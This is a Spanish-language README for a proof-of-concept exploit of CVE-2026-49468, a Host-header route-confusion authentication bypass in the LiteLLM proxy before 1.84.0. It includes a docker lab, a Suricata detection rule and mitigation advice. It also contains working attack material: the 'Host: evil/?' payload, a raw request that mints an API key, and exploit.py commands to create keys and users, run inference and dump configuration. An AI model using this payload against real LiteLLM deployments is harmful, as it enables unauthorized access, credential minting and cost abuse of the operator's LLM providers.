
CVE-2026-49468 — LiteLLM (<1.84.0) bypass de autenticación no autenticado mediante confusión de ruta de la cabecera Host. PoC + laboratorio docker.
Bypass de autenticación/autorización previa a la autenticación en el proxy LiteLLM (BerriAI).
Un único encabezado Host manipulado hace que el proxy evalúe su decisión de autenticación contra una ruta de salud pública mientras FastAPI aún ejecuta el manejador de administración protegido — sirviendo la solicitud sin clave API.
| CVE | CVE-2026-49468 |
| Producto | Proxy LiteLLM (BerriAI) |
| Afectado | < 1.84.0 (verificado en v1.83.14-stable) |
| Corregido | 1.84.0 |
| Clase | Autenticación Incorrecta (CWE-290) — confusión de ruta |
| Auth | Ninguna (pre-auth) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| Estado | CONFIRMADO — bypass reproducido de extremo a extremo; corrección verificada en 1.84.0 |
Todo el exploit es un encabezado:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() obtiene la ruta utilizada para cada decisión de autenticación de request.url.path. Starlette reconstruye esa cadena URL a partir del encabezado Host controlado por el cliente:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = Host del atacante
...
@property
def path(self): return urlsplit(self._url).path
El enrutamiento de FastAPI se realiza sobre la ruta ASGI cruda request.scope["path"]. Inyectar un ? en el encabezado Host empuja la ruta real de la solicitud al componente query de la URL, haciendo que el url.path reconstruido colapse a /:
ruta real de la solicitud (scope, FastAPI enruta aquí) : /key/generate
Encabezado Host : evil/?
URL reconstruida : http://evil/?/key/generate
urlsplit(...).path : / <-- la autenticación ve esto
/ está en LiteLLMRoutes.public_routes, y ambas puertas de autenticación cortocircuitan en rutas públicas usando ese mismo valor falsificado:
# user_api_key_auth.py — constructor de autenticación
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no se requiere clave API
# user_api_key_auth.py — envoltorio de autorización
if route in public_routes: # route == "/"
return # omite common_checks / aplicación de ruta de admin
Corrección (1.84.0): get_request_route() ahora lee request.scope["path"] / scope["root_path"] directamente, sin reconstruir nunca a partir del encabezado Host.
Alcanzables sin autenticación (servido como INTERNAL_USER_VIEW_ONLY):
POST /key/generate → acuñar una clave API virtual válida. La clave funciona como autenticación normal sin encabezado de bypass → acceso persistente autenticado y abuso de costos del proveedor.POST /user/new → crear usuarios.POST /chat/completions (+ /v1/models, /model/info) → inferencia no autenticada contra los proveedores LLM configurados del proxy.GET /spend/logs, /settings, /get/config/callbacks → divulgación de configuración/telemetría.Los endpoints protegidos por una verificación PROXY_ADMIN en línea permanecen bloqueados (/config/update, /model/new, /user/list, /key/list, elevación de roles, creación directa de MCP), por lo que este bypass no otorga acceso de administrador completo del proxy ni RCE en v1.83.14 — consulte ANALYSIS.md.
# 1. levantar un laboratorio vulnerable y parcheado (autenticación habilitada con una clave maestra)
cd lab && docker compose up -d && cd ..
# 2. confirmar el bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list Host sin bypass -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: autenticación saltada (línea base 401, bypass llegó al manejador: 403).
# 3. acuñar una clave API sin credenciales
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Clave API virtual acuñada (sin autenticación): sk-....
# 4. inferencia / enumeración no autenticada
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hola"
python3 exploit.py -u http://127.0.0.1:4000 dump
# la versión parcheada (v1.84.0 en :4001) rechaza las mismas solicitudes con 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py usa solo la biblioteca estándar (http.client) y establece el encabezado Host textualmente a nivel de conexión. Acciones: check, mint-key, user, chat, dump, raw METHOD PATH.
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
Consulte EVIDENCE.txt para la matriz completa de línea base/bypass, el discriminante adversarial (evil → 401, evil/foo → 401, evil/? → 200) y el límite de la versión parcheada.
1.84.0 o posterior.Host (rechace valores de Host que contengan /, ?, #) y establezca una master_key.El bypass es un encabezado Host sintácticamente inválido. Regla de Suricata de ejemplo:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
Del lado de los registros: cualquier solicitud cuyo encabezado Host contenga /, ? o # que llegue a un proxy LiteLLM.
Caio Fabrício (BiiTts).
Solo para investigación de seguridad autorizada y pruebas.